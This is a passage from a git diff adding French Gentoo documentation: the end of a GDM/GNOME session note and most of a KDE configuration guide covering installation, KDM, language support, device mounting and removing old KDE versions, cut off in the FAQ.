+GDM utilise les fichiers disponibles dans <path>/usr/share/xsessions/*</path>
+pour déterminer quels environnements de bureau l'utilisateur a installé et pour
+remplir le menu de sélection «&nbsp;Sessions&nbsp;».
+</p>
+
+<p>
+Le fichier approprié pour GNOME est maintenant fourni par
+<c>gnome-base/gnome-session-2.22</c> au lieu de <c>gnome-base/gdm</c>, et pour
+cela, des bloquages de paquets ont été mis en place afin d'éviter les
+collisions de fichiers conduisant à la perte de ce fichier de sessions.
+</p>
+
+<p>
+La seule chose qui peut causer un problème est que <c>gnome-session</c> n'ait
+pas été mis à jour vers la 2.22 après sa désinstallation permettant de résoudre
+le problème de bloquage de la mise à jour de GDM. Le symptôme sera l'absence du
+choix de GNOME dans le menu «&nbsp;Sessions&nbsp;» de GDM, auquel cas veuillez
+vérifier que vous avez bien <c>gnome-session-2.22.0</c> ou plus récent.
+</p>
+
+<p>
+Notez que ce problème ne peut pas arriver aux utilisateurs du paquet meta
+<c>gnome-base/gnome</c>, puisqu'il va rechercher le paquet
+<c>gnome-session</c>.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/fr/desktop/kde/kde-config.xml b/xml/htdocs/proj/fr/desktop/kde/kde-config.xml
new file mode 100644
index 00000000..8489467e
--- /dev/null
+++ b/xml/htdocs/proj/fr/desktop/kde/kde-config.xml
@@ -0,0 +1,893 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/desktop/kde/kde-config.xml,v 1.2 2010/05/05 15:36:15 titefleur Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide disclaimer="obsolete" lang="fr">
+
+<title>Guide de configuration de KDE</title>
+
+<author title="Auteur">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Correcteur">
+  <mail link="greg_g@gentoo.org">Gregorio Guidi</mail>
+</author>
+<author title="Traducteur">
+  <mail link="ribosome@gentoo.org">Olivier Fisette</mail>
+</author>
+<author title="Traducteur">
+  <mail link="nicolas@litchinko.fr">Nicolas Litchinko</mail>
+</author>
+
+<abstract>
+Un des environnements les plus utilisés est KDE. Ce guide présente les
+différentes facettes de KDE, y compris son installation, sa configuration et
+son utilisation.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.22</version>
+<date>2007-06-23</date>
+
+<chapter>
+<title>Qu'est-ce que l'environnement de bureau KDE&nbsp;?</title>
+<section>
+<title>Le projet</title>
+<body>
+
+<p>
+Le <uri link="http://www.kde.org">projet KDE</uri> est un projet de logiciel
+libre consacré au développement d'un environnement de bureau graphique pour
+Linux et les stations UNIX. Plusieurs centaines de developpeurs répartis dans
+le monde entier travaillent sur ce projet libre qui est décrit plus en détails
+sur son <uri link="http://www.kde.org/whatiskde/project.php">propre site
+Web</uri> (en anglais).
+</p>
+
+</body>
+</section>
+<section>
+<title>Le logiciel</title>
+<body>
+
+<p>
+L'environnement de bureau K («&nbsp;K Desktop Environment&nbsp;») est un
+environnement de bureau facile à utiliser et bâti autour d'une plate-forme pour
+applications bien structurée facilitant l'interconnexion des applications par
+le biais d'opérations glisser-déposer («&nbsp;drag'n drop&nbsp;») et autres. En
+plus des composantes essentielles à un environnement de bureau, KDE fournit des
+applications pour une myriade de tâches&nbsp;: gestion des fichiers, navigation
+sur Internet, applications de bureautique, gestion du courrier électronique,
+etc. KDE couvre toute la gamme des possibilités.
+</p>
+
+<p>
+Le KDE est disponible en plus de 70 langues et dispose d'une communauté
+d'utilisateurs immense. Si cela vous intéresse, des <uri
+link="http://www.kde.org/screenshots/">captures d'écran</uri> sont disponibles.
+Pour plus d'informations sur KDE, lisez l'article <uri
+link="http://www.kde.org/whatiskde/">What is KDE&nbsp;?</uri> sur le site Web
+<uri link="http://www.kde.org">KDE.org</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>La communauté</title>
+<body>
+
+<p>
+Plusieurs sites Web sont dédiés à la communauté de KDE. Sur <uri
+link="http://www.kdenews.org">KDEnews.org</uri>, vous trouverez les dernières
+nouvelles sur KDE en général. <uri
+link="http://www.kdedevelopers.org">KDEdevelopers.org</uri> s'adresse
+spécifiquement aux développeurs KDE alors que  <uri
+link="http://www.kde-forum.org">KDE-forum</uri> plaira aux utilisateurs de tous
+les jours. Vous trouverez d'autres liens sur <uri
+link="http://www.kde.org/family/">la page KDE Family</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Installer KDE</title>
+<section>
+<title>De quoi avez-vous besoin&nbsp;?</title>
+<body>
+
+<p>
+Si vous souhaitez installer KDE (ou le support pour KDE), assurez-vous que votre
+variable USE contienne les mots-clés <c>kde</c> et <c>qt3</c> ou <c>qt4</c> (ou
+les deux). Qt est la bibliothèque d'éléments graphiques (en anglais
+«&nbsp;widgets&nbsp;») utilisée par KDE, <c>qt3</c> pour la version 3.x et
+<c>qt4</c> pour la nouvelle bibliothèque Qt 4.x. Aucun de ces deux mots-clés
+n'est indispensable pour installer KDE. Il y a toutefois quelques paquets qui
+vous laissent choisir entre les bibliothèques <c>qt3</c> et <c>qt4</c>.
+</p>
+
+<p>
+Vous devriez également ajouter <c>hal</c> à votre variable USE si vous voulez
+pouvoir monter vos périphériques automatiquement comme expliqué plus loin dans
+<uri link="#kde_device_mounting">Configurer KDE pour monter les
+périphériques</uri>.
+</p>
+
+<p>
+Si vous ne voulez pas qu'<uri link="http://www.arts-project.org/">aRts</uri>
+gère l'accès aux périphériques multimedia, désactivez <c>arts</c> dans votre
+variable USE (c'est activé par défaut).
+</p>
+
+<note>
+Gentoo 2006.1 apporte un certain nombre de nouveaux profils, notamment le
+sous-profil <c>desktop</c>. Vous êtes invité à utiliser ce profil s'il est
+disponible pour votre architecture car il contient un pré-réglage intéressant
+des valeurs par défaut des paramètres USE. Consulter le <uri
+link="/doc/en/gentoo-upgrading.xml">Guide de mise à jour de Gentoo</uri> pour
+changer de profil.
+</note>
+
+</body>
+</section>
+<section>
+<title>Installer KDE avec les paquets séparés</title>
+<body>
+
+<note>
+Nous vous recommandons d'utiliser les paquets séparés pour installer KDE
+(plutôt que le paquet monolithique, bien que les deux méthodes soient
+présentées), comme expliqué ci-dessous.
+</note>
+
+<p>
+Si vous voulez avoir encore plus de contrôle sur les parties de KDE que vous
+installez, vous avez la possibilité d'installer uniquement les applications KDE
+dont vous avez besoin. Pour en savoir plus sur les ebuilds séparés, allez voir
+le <uri link="/doc/fr/kde-split-ebuilds.xml">Guide sur les ebuilds séparés de
+KDE</uri>.
+</p>
+
+<p>
+Savoir quoi installer et ne pas installer est un peu plus difficile avec les
+ebuilds séparés. Toutefois, Gentoo offre plusieurs meta-paquets qui vont
+installer un certain nombre de paquets pour vous&nbsp;:
+</p>
+
+<ul>
+  <li>
+    Si vous voulez une installation complète de KDE, utilisez le paquet
+    <c>kde-meta</c>. Ce dernier placera toutes les applications KDE dans la
+    liste des dépendances.
+  </li>
+  <li>
+    Si vous voulez une installation de base de KDE, installez le paquet
+    <c>kdebase-startkde</c>. Vous pourrez ensuite installer les autres
+    applications KDE au cas par cas.
+  </li>
+  <li>
+    Si vous préférez un intermédiaire entre <c>kde-meta</c> et
+    <c>kdebase-startkde</c>, installez <c>kdebase-meta</c>, qui fournit
+    quelques applications de telles que <c>konsole</c> et <c>kdm</c>.
+  </li>
+</ul>
+
+<p>
+Ces trois cas sont les extrêmes opposés&nbsp;; vous voudrez certainement un
+mélange des trois. Pour vous faciliter un peu la tâche, le tableau suivant donne
+un aperçu incomplet mais tout de même fort utile de quelques-uns des paquets
+KDE disponibles.
+</p>
+
+<p>
+Ces paquets ne font <e>pas</e> partie de l'installation
+<c>kdebase-startkde</c>.
+</p>
+
+<table>
+<tr>
+  <th>Nom de l'ebuild</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti><c>akregator</c></ti>
+  <ti>L'application pour facilement gérer et naviguer dans les flux RSS.</ti>
+</tr>
+<tr>
+  <ti><c>juk</c></ti>
+  <ti>
+    Le lecteur multimédia orienté vers les listes de lecture, avec une
+    apparence proche du lecteur iTunes de Apple.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kate</c></ti>
+  <ti>
+    <uri link="http://kate.kde.org/">KDE Advanced Text Editor</uri> (Éditeur de
+    Texte Avancé de KDE), un éditeur multidocument avec la coloration
+    syntaxique, le pliage de code et bien plus.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kmail</c></ti>
+  <ti>
+    Organisez efficacement votre courrier grâce à <uri
+    link="http://kmail.kde.org/">KMail</uri>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>knetattach</c></ti>
+  <ti>
+    Avec KNetAttach (aussi connu en tant qu'<e>assistant de partages
+    réseaux</e>), vous pouvez facilement ajouter des dossiers réseaux sur votre
+    bureau KDE.
+  </ti>
+</tr>
+<tr>
+  <ti><c>knode</c></ti>
+  <ti>
+    KNode est le puissant lecteur de nouvelles (newsgroups) de KDE.
+  </ti>
+</tr>
+<tr>
+  <ti><c>konsole</c></ti>
+  <ti>
+    <uri link="http://konsole.kde.org/">Konsole</uri> est l'émulateur de
+    terminal de KDE.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kontact</c></ti>
+  <ti>
+    <uri link="http://kontact.kde.org/">Kontact</uri> est le gestionnaire
+    personnel d'information (PIM) de KDE. Il vous aide à gérer plus facilement
+    vos communications, à organiser votre travail plus rapidement et à
+    plusieurs.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kopete</c></ti>
+  <ti>
+    <uri link="http://kopete.kde.org/index.php">Kopete</uri> est le logiciel de
+    messagerie instantanée de KDE. Il supporte tous les protocoles d'IM connus.
+  </ti>
+</tr>
+<tr>
+  <ti><c>korganizer</c></ti>
+  <ti>
+    <uri link="http://korganizer.kde.org/">Korganizer</uri> est l'application
+    de calendrier et d'agenda de KDE.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kpdf</c></ti>
+  <ti>
+    Avec <uri link="http://kpdf.kde.org/">KPDF</uri>, vous pourrez lire et
+    travailler avec des fichiers PDF. Il dispose de fonctionnalités inédites
+    qui améliorent grandement votre confort de lecture.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kscd</c></ti>
+  <ti>
+    kscd est un lecteur de CD audio graphique pour KDE.
+  </ti>
+</tr>
+<tr>
+  <ti><c>ksnapshot</c></ti>
+  <ti>
+    ksnapshot est l'outil qui vous permettra de prendre des captures d'écran de
+    votre bureau.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kuickshow</c></ti>
+  <ti>
+    L'application kuickshow est un afficheur d'images moderne.
+  </ti>
+</tr>
+</table>
+
+<p>
+Et ce n'est que la pointe de l'iceberg. Si vous voulez en savoir plus sur les
+applications qui existent dans KDE, jetez un œil dans la <uri
+link="http://packages.gentoo.org/category/kde-base?full_cat">catégorie
+kde-base</uri>. Leur description devrait expliquer à quoi chacun sert.
+</p>
+
+<p>
+Pour voir ce qu'emerge installerait, utilisez <c>emerge -p</c> en redirigeant
+la sortie vers l'afficheur <c>less</c>, sinon vous ne verrez pas tous les
+paquets.
+</p>
+
+<pre caption="Aperçu de l'installation de KDE">
+<comment>(Remplacez par la liste d'applications que vous voulez installer.)</comment>
+# <i>emerge -p kdebase-startkde | less</i>
+</pre>
+
+<p>
+Si vous êtes satisfait du résultat proposé, retirez le <c>-p</c> de la
+commande. Le temps de compilation devrait être très important car KDE est un
+environnement massif. Ne soyez donc pas surpris si au bout d'un certain temps
+ce n'est toujours pas fini.
+</p>
+
+</body>
+</section>
+<section>
+<title>Installer KDE avec les paquets monolithiques</title>
+<body>
+
+<p>
+Le projet KDE met à disposition les nouvelles versions de son environnement de
+bureau sous la forme d'un ensemble de 16 gros paquets, chacun contenant
+beaucoup d'applications (ils sont par conséquent appelés
+«&nbsp;monolithiques&nbsp;»). Vous devez donc décider lesquels de ces paquets
+vous désirez installer.
+</p>
+
+<p>
+Si vous voulez voir ce que cela fait d'avoir tous ces paquets installés,
+utilisez&nbsp;:
+</p>
+
+<pre caption="Afficher tous les paquets qui seraient installés avec KDE">
+# <i>emerge --pretend kde | less</i>
+</pre>
+
+<p>
+Si vous ne voulez pas tous ces paquets, vous pouvez installer individuellement
+ceux qui vous plaisent. Vous aurez certainement besoin du paquet <c>kdebase</c>
+puisqu'il contient les paquets de base nécessaires à KDE. Le tableau suivant
+dresse une liste partielle des paquets que vous pouvez installer&nbsp;:
+</p>
+
+<table>
+<tr>
+  <th>Paquet</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti>kdeaccessibility</ti>
+  <ti>
+    Programmes liés à l'accessibilité, maintenus par l'équipe du <uri
+    link="http://accessibility.kde.org">KDE Accessibility Project</uri>.
+  </ti>
+</tr>
+<tr>
+  <ti>kdeadmin</ti>
+  <ti>
+    Outils administratifs KDE tels que <c>KCron</c> (planificateur de tâches),
+    <c>KUser</c> (gestion des utilisateurs) et <c>KDat</c> (gestion des
+    sauvegardes).
+  </ti>
+</tr>
+<tr>
+  <ti>kdeartwork</ti>
+  <ti>
+    Diverses composantes à caractère artistique telles que des écrans de veille
+    et des thèmes. Consultez <uri
+    link="http://www.kde-artists.org/">www.kde-artists.org</uri> pour ce qui a
+    trait à l'art et à KDE.
+  </ti>
+</tr>
+<tr>
+  <ti>kdeedu</ti>
+  <ti>
+    Des applications KDE éducatives écrites pour les enfants et étudiants de 3
+    à 18 ans. Consultez à ce sujet le <uri link="http://edu.kde.org">KDE Edu
+    Project</uri>.
+  </ti>
+</tr>
+<tr>
+  <ti>kdegames</ti>
+  <ti>
+    Divers jeux développés pour KDE. Vous trouverez plus d'informations à ce
+    sujet sur le site <uri link="http://games.kde.org">KDE Games Center</uri>.
+  </ti>
+</tr>
+<tr>
+  <ti>kdegraphics</ti>
+  <ti>
+    Des outils de graphisme pour KDE incluant <c>KSnapshot</c> (captures
+    d'écran), <c>KolourPaint</c> (un petit programme de dessin), <c>KPDF</c>
+    (un afficheur pour les documents PDF), <c>KIconEdit</c> (un éditeur
+    d'icônes) et <c>KPovModeler</c> (un outil de modélisation 3D).
+  </ti>
+</tr>
+<tr>
+  <ti>kdemultimedia</ti>
+  <ti>
+    Des applications multimédia incluant le support pour les CD, les MP3, les
+    DVD, l'enregistrement du son et de la vidéo. Vous trouverez plus
+    d'informations sur le site <uri link="http://multimedia.kde.org">KDE
+    Multimedia Project</uri>.
+  </ti>
+</tr>
+<tr>
+  <ti>kdenetwork</ti>
+  <ti>
+    Des applications pour les réseaux telles que <c>Kopete</c> (un messager
+    instantané multiprotocole), <c>kppp</c> (composition téléphonique) et KSirc
+    (client IRC). Notez que <c>konqueror</c> (qui est un gestionnaire de
+    fichiers <e>et</e> un navigateur Web) fait partie de <c>kdebase</c>.
+  </ti>
+</tr>
+<tr>
+  <ti>kdepim</ti>
+  <ti>
+    Des outils de type «&nbsp;gestionnaire d'information personnelle&nbsp;»
+    tels que <c>KOrganizer</c> (agenda), <c>KAddressbook</c> (carnet
+    d'adresse), <c>Kontact</c> (gestionnaire unifié) et <c>KMail</c> (courrier
+    électronique). Plus d'information est disponible sur le site Web du <uri
+    link="http://pim.kde.org">KDE PIM Project</uri>.
+  </ti>
+</tr>
+<tr>
+  <ti>kdesdk</ti>
+  <ti>
+    Outils de développement dont <c>KBabel</c> (outil de traduction),
+    <c>KBugBuster</c> (une interface pour le système de gestion des bogues KDE)
+    et <c>Kompare</c> (une interface graphique pour analyser les différences
+    entre deux fichiers).
+  </ti>
+</tr>
+<tr>
+  <ti>kdetoys</ti>
+  <ti>
+    Des petits outils pour vous amuser en attendant que la pizza soit livrée.
+    Vous y trouverez des applets tels que <c>eyesapplet</c> et
+    <c>fifteenapplet</c>, mais aussi des outils amusants tels que <c>amor</c>
+    qui ne fait pas grand chose à part consommer des ressources.
+  </ti>
+</tr>
+<tr>
+  <ti>kdeutils</ti>
+  <ti>
+    Des utilitaires graphiques tels que <c>kcalc</c> (une calculatrice),
+    <c>kdessh</c> (un terminal SSH), <c>kfloppy</c> (pour tout ce qui a trait
+    aux disquettes), etc.
+  </ti>
+</tr>
+<tr>
+  <ti>kde-i18n</ti>
+  <ti>
+    Des fichiers permettant l'internationalisation de KDE. Cela inclut les
+    traductions de la documentation. Veuillez vous référer au <uri
+    link="http://i18n.kde.org">projet KDE i18n</uri> pour de plus amples
+    informations.
+  </ti>
+</tr>
+</table>
+
+<p>
+Par exemple, pour installer KDE avec seulement les applications utilisées pour
+les réseaux et les tâches administratives&nbsp;:
+</p>
+
+<pre caption="Exemple d'installation de paquets KDE individuels">
+# <i>emerge kdebase kdenetwork kdeadmin</i>
+</pre>
+
+<p>
+Vous vous posez peut-être déjà la question, compiler KDE est effectivement très
+long.
+</p>
+
+</body>
+</section>
+<section>
+<title>Applications KDE externes</title>
+<body>
+
+<p>
+Le nombre d'applications KDE n'est pas limité à celles fournies avec les
+versions officielles de KDE mais inclus de centaines d'autres applications qui
+utilisent le framework et les bibliothèques de KDE. Vous trouverez ci-dessous
+une liste des plus populaires.
+</p>
+
+<table>
+<tr>
+  <th>Nom de l'ebuild</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti><c>koffice</c></ti>
+  <ti>
+    <uri link="http://www.koffice.org/">KOffice</uri> est la suite office
+    complète de KDE et inclut des applications pour le traitement de texte
+    (KWord), les calculs à base de tableaux (KSpread), les présentations
+    (KPresenter), la manipulation d'images (Krita), la gestion de bases de
+    données (Kexi) et bien plus encore. Tout comme KDE qui peut être installé
+    en utilisant les ebuilds <c>kde</c> ou <c>kde-meta</c>, vous pouvez
+    installer KOffice en tant qu'unique paquet (<c>koffice</c>) ou en tant
+    qu'assemblage de paquets individuels (<c>koffice-meta</c>).
+   </ti>
+</tr>
+<tr>
+  <ti><c>amarok</c></ti>
+  <ti>
+    Avec <uri link="http://amarok.kde.org/">amaroK</uri> vous disposez d'un
+    puissant lecteur de musique pour Unix/Linux.
+  </ti>
+</tr>
+<tr>
+  <ti><c>k3b</c></ti>
+  <ti>
+    <uri link="http://www.k3b.org/">K3B</uri> est un utilitaire de gravure de
+    CD/DVD complet avec support des fichiers audio. Graver des CD n'a jamais
+    été aussi simple.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kaffeine</c></ti>
+  <ti>
+    <uri link="http://kaffeine.sourceforge.net/">Kaffeine</uri> est un lecteur
+    multimédia pour KDE qui dispose de nombreuses fonctionnalités.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Premières impressions</title>
+<body>
+
+<p>
+Maintenant, jetons un œil au résultat. Votre mère vous a sans doute répété
+maintes fois de ne jamais travailler avec le compte root. Nous suivrons le
+conseil de votre mère et testerons KDE avec votre compte utilisateur. Ouvrez
+une session en tant qu'utilisateur, puis configurez votre session afin de
+démarrer KDE lorsque vous exécutez <c>startx</c>. Faites ceci en écrivant
+<c>exec startkde</c> dans <path>~/.xinitrc</path> (voyez aussi <uri
+link="/doc/fr/xorg-config.xml#using_startx">Utiliser startx</uri> dans le <uri
+link="/doc/fr/xorg-config.xml">Guide de configuration de X</uri>)&nbsp;:
+</p>
+
+<pre caption="Configurer votre session locale">
+$ <i>echo "exec startkde" &gt; ~/.xinitrc</i>
+</pre>
+
+<p>
+Maintenant, démarrez votre environnement graphique en exécutant <c>startx</c>.
+</p>
+
+<pre caption="Démarrer KDE">
+$ <i>startx</i>
+</pre>
+
+<p>
+Vous serez accueilli par une application nommée <c>KPersonalizer</c>.
+Félicitations&nbsp;! Il est maintenant temps de configurer votre KDE.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Configurer KDE</title>
+<section>
+<title>KPersonalizer</title>
+<body>
+
+<p>
+KPersonalizer est une application qui configure KDE pour vous. C'est un
+assistant très utile qui adapte rapidement KDE à vos besoins. Quand vous
+démarrez KDE pour la première fois, KPersonalizer est automatiquement exécuté.
+</p>
+
+<p>
+La première chose que KPersonalizer vous demande est de choisir un pays et une
+langue. Puisque nous n'avons pas encore installé de paquet logiciel pour le
+support d'une langue, les choix sont peu nombreux&nbsp;; en fait, l'anglais
+sera sans doute le seul choix disponible. Ne vous en faites pas, nous verrons
+plus tard comment paramétrer la langue utilisée (si vous souhaitez le faire,
+bien sûr).
+</p>
+
+<p>
+Le deuxième choix qui s'offre à vous est celui du <e>comportement du
+système</e>. Cela inclut l'activation des fenêtres, la sélection avec la
+souris, etc. Lorsque vous choisissez un comportement donné, sa description
+s'affiche afin de vous aider dans votre choix. Si vous êtes indécis, ne
+paniquez pas&nbsp;; vous pouvez changer ce comportement plus tard selon vos
+goûts.
+</p>
+
+<p>
+Ensuite, KPersonalizer demandera quel niveau d'effets visuels («&nbsp;eye
+candy&nbsp;») devrait être activé. Plus vous augmentez ce niveau, plus votre
+KDE sera sophistiqué, mais plus votre processeur sera sollicité. Toutefois,
+prenez cette mise en garde avec réserve&nbsp;; sur un ordinateur muni d'un
+processeur à 600 MHz et de 128 Mo de mémoire, le système répond bien même
+lorsque tous les effets visuels sont activés.
+</p>
+
+<p>
+Finalement, KDE vous offre de choisir un style. Un style définit la décoration
+autour des fenêtres, un thème, une disposition pour les boutons, etc. Essayez
+plusieurs styles afin de choisir celui qui vous convient le mieux. Avons-nous
+déjà mentionné que KDE est très configurable&nbsp;?
+</p>
+
+<p>
+Maintenant, appréciez&nbsp;! KDE démarre et vous offre un environnement de
+bureau élégant, simple et fonctionnel.
+</p>
+
+</body>
+</section>
+<section>
+<title>Installer les paquets pour le support des langues</title>
+<body>
+
+<p>
+Si l'anglais n'est pas votre langue maternelle ou si vous préférez travaillez
+avec KDE dans une autre langue que l'anglais, poursuivez votre lecture. Nous
+verrons comment installer le support pour une ou plusieurs langues dans KDE.
+</p>
+
+<p>
+Les paquets logiciels pour le support des langues autres que l'anglais sont
+contenus dans le paquet <c>kde-i18n</c>. Pour installer le support pour les
+langues de votre choix, vous devez attribuer les codes des langues à utiliser à
+la variable <c>LINGUAS</c>. Il est recommandé de paramétrer cette variable dans
+le fichier <path>/etc/make.conf</path> pour éviter qu'une mise à jour du
+système ne supprime un paquet déjà installé.
+</p>
+
+<pre caption="Paramétrer LINGUAS dans /etc/make.conf">
+# <i>nano -w /etc/make.conf</i>
+<comment>(Dans cet exemple, nous installons le support pour le néerlandais
+ et le français.)</comment>
+LINGUAS="nl fr"
+</pre>
+
+<p>
+Maintenant, exécutez <c>emerge kde-i18n</c> pour installer le support pour les
+langues choisies. Une fois cela terminé, démarrez KDE et ouvrez le Centre de
+configuration de KDE (Menu-K &gt; Centre de configuration KDE). Le Centre de
+configuration de KDE est <e>le</e> programme qui vous permet de contrôler
+presque tous les aspects de KDE. Il offre bien plus d'options que
+KPersonalizer.
+</p>
+
+<p>
+Pour changer votre langue, allez dans <c>Régionalisation &amp;
+Accessibilité</c>, <c>Pays &amp; langue</c>. Ajoutez ensuite la ou les langues
+de votre choix. Puis, fermez votre session et reconnectez-vous afin d'admirer
+votre KDE (localisé) dans toute sa gloire.
+</p>
+
+</body>
+</section>
+<section>
+<title>Invite de connexion graphique</title>
+<body>
+
+<p>
+Si vous souhaitez utiliser <c>kdm</c> en tant qu'invite de connexion graphique
+(et donc ne pas avoir à vous connecter sur un terminal et à taper <c>startx</c>
+à chaque ouverture de session), vous devez d'abord l'installer puis modifier
+un fichier de configuration pour que votre système démarre automatiquement en
+mode graphique comme suit&nbsp;:
+</p>
+
+<note>
+Il est possible que vous ayez déjà installé <c>kdm</c> pour plusieurs raisons.
+Si vous obtenez une erreur relative à des paquets bloquant <c>kde-base/kdm</c>,
+exécutez la commande suivante.
+</note>
+
+<pre caption="Installation de kdm">
+# <i>emerge --ask kdm</i>
+</pre>
+
+<p>
+Dans le fichier <path>/etc/conf.d/xdm</path>, attribuez <c>kdm</c> à la
+variable <c>DISPLAYMANAGER</c>.
+</p>
+
+<pre caption="Paramétrer DISPLAYMANAGER dans /etc/conf.d/xdm">
+# <i>nano -w /etc/conf.d/xdm</i>
+<comment>(Modifiez la variable suivante.)</comment>
+DISPLAYMANAGER="kdm"
+</pre>
+
+<p>
+Terminez en ajoutant <c>xdm</c> au niveau d'exécution par défaut&nbsp;:
+</p>
+
+<pre caption="Ajouter xdm au niveau d'exécution par défaut">
+# <i>rc-update add xdm default</i>
+</pre>
+
+<p>
+Lorsque vous redémarrerez votre système, ce dernier utilisera l'invite de
+connexion graphique KDM.
+</p>
+
+<p>
+KDM vous proposera la liste des sessions installées sur votre système, y
+compris KDE évidemment. KDM trouve cette liste dans le fichier
+<path>/usr/share/xsessions/</path>. Il n'est donc pas nécessaire de modifier
+votre fichier <path>~/.xinitrc</path>.
+</p>
+
+</body>
+</section>
+<section id="kde_device_mounting">
+<title>Configurer KDE pour monter les périphériques</title>
+<body>
+
+<!-- NB: ajouter pmount à la liste, à emerge et aux rc-update dès qu'il passe en stable -->
+<p>
+KDE offre la possibilité de monter des périphériques comme les CD-ROM ou des
+clés USB en un simple clic. Pour cela, vous devez avoir compilé KDE avec
+<c>hal</c> dans votre variable USE et avoir <c>dbus</c> et <c>hal</c> installés
+sur votre système. Vous devez également ajouter <c>dbus</c> et <c>hal</c> au
+niveau d'exécution par défaut et vous ajouter au groupe <c>plugdev</c>.
+</p>
+
+<pre caption="Configurer le montage des périphériques">
+# <i>emerge --ask dbus hal</i>
+# <i>rc-update add dbus default</i>
+# <i>rc-update add hald default</i>
+<comment>(Ajouter &lt;utilisateur&gt; au groupe plugdev)</comment>
+# <i>gpasswd -a &lt;utilisateur&gt; plugdev</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gérer les installations de KDE</title>
+<section>
+<title>Les installations multiples</title>
+<body>
+
+<p>
+Une des particularités dans la façon dont Gentoo gère KDE est que lorsqu'une
+nouvelle série de KDE apparaît (comme la série 3.5.x qui remplace la série
+3.4.X), elle sera installée en parallèle et n'écrasera pas l'ancienne série.
+Par conséquent, si vous avez déjà installé KDE 3.4 et que vous installez KDE
+3.5, vous aurez les deux versions, une située dans <path>/usr/kde/3.4/</path>
+et l'autre dans <path>/usr/kde/3.5/</path>.
+</p>
+
+<p>
+Il faut remarquer que vos configurations pour les différentes installations de
+KDE seront conservées séparément dans votre répertoire personnel. KDE 3.4 lit
+sa configuration depuis le répertoire
+<path>/home/&lt;utilisateur&gt;/.kde3.4</path> et la première fois que vous
+lancez KDE 3.5, un répertoire <path>/home/&lt;utilisateur&gt;/.kde3.5</path>
+sera créé à partir des fichiers contenus dans le répertoire pour la version 3.4
+et sera ensuite utilisé pour stocker vos préférences et vos données.
+</p>
+
+<p>
+Une autre remarque importante à garder à l'esprit est que, lorsque vous mettez
+à jour votre installation de KDE, vous pouvez avoir des problèmes avec les
+applications KDE externes précédemment installées (comme <c>koffice</c>,
+<c>amarok</c> ou <c>k3b</c>) et ce jusqu'à ce que vous les recompiliez en
+utilisant la nouvelle version de KDE. Il faut donc que vous les réinstalliez
+dès que vous commencez à utiliser le nouveau KDE pour qu'elles soient liées aux
+nouvelles bibliothèques.
+</p>
+
+</body>
+</section>
+<section>
+<title>Désinstaller les anciennes versions</title>
+<body>
+
+<p>
+Avoir plusieurs versions de KDE installées pose le problème de la
+désinstallation des anciennes version lorsque nous décidons que nous n'en avons
+plus besoin. Malheureusement, portage ne supporte pas la désinstallation d'un
+paquet avec toutes ses dépendances en une seule commande, donc si vous lancez
+(par exemple) <c>emerge --unmerge kde</c>, vous ne supprimerez pas les
+véritables paquets de KDE.
+</p>
+
+<p>
+Pour supprimer une installation de KDE (par exemple KDE 3.4), les paquets
+individuels doivent être supprimés.
+</p>
+
+<pre caption="Suppression des paquets de KDE 3.4">
+# <i>emerge --unmerge =arts-3.4* =kdelibs-3.4* =kdebase-3.4* ...</i>
+</pre>
+
+<p>
+Évidemment, ceci peut devenir très frustant si vous avez beaucoup de paquets
+KDE installés. Cependant, cette opération peut être automatisée de plusieurs
+façons. La manière suivante en est un exemple.
+</p>
+
+<p>
+Tout d'abord, listons tous les paquets que nous voulons supprimer. On utilise
+l'outil <c>equery</c> fourni par le paquet <c>app-portage/gentoolkit</c>.
+</p>
+
+<pre caption="Listing des paquets à supprimer">
+<comment>(Liste tous les paquets KDE installés)</comment>
+# <i>equery list kde-base/</i>
+<comment>(Liste tous les paquets KDE installées et sélectionne ceux de KDE 3.4)</comment>
+# <i>equery list kde-base/ | grep 3\.4</i>
+</pre>
+
+<p>
+À ce moment, vous devriez vérifier que cette liste correspond aux paquets qui
+doivent être supprimés du système. Si vous pensez que tout est correct, vous
+pouvez transmettre la liste à la commande <c>emerge --unmerge</c>.
+</p>
+
+<pre caption="Supprimer les paquets sélectionnés">
+# <i>equery list kde-base/ | grep 3\.4 | xargs emerge --unmerge --pretend</i>
+</pre>
+
+<p>
+Vérifiez encore une fois la sortie et lancez à nouveau la commande sans le
+paramètre <c>--pretend</c> pour commencer la procédure de désinstallation.
+</p>
+
+<p>
+Une fois que cette procédure est terminée, le répertoire
+<path>/usr/kde/3.4/</path> ne devrait plus contenir que quelques fichiers
+(essentiellement des fichiers de configuration, Portage ayant pour politique de
+ne pas toucher à ces fichiers). Si vous le désirez, vous pouvez supprimer le
+répertoire <path>/usr/kde/3.4/</path> et tout son contenu pour effacer les
+restes de KDE 3.4 en toute sécurité.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Foire Aux Questions</title>
+<section>
+<title>KDE est très lent à démarrer</title>
+<body>
+
+<p>
+Veuillez vérifier que le fichier <path>/etc/hosts</path> est correct&nbsp;:
+</p>
+
+<ul>
+  <li>
+    Si vous utilisez une adresse IP statique, veuillez indiquer le nom complet
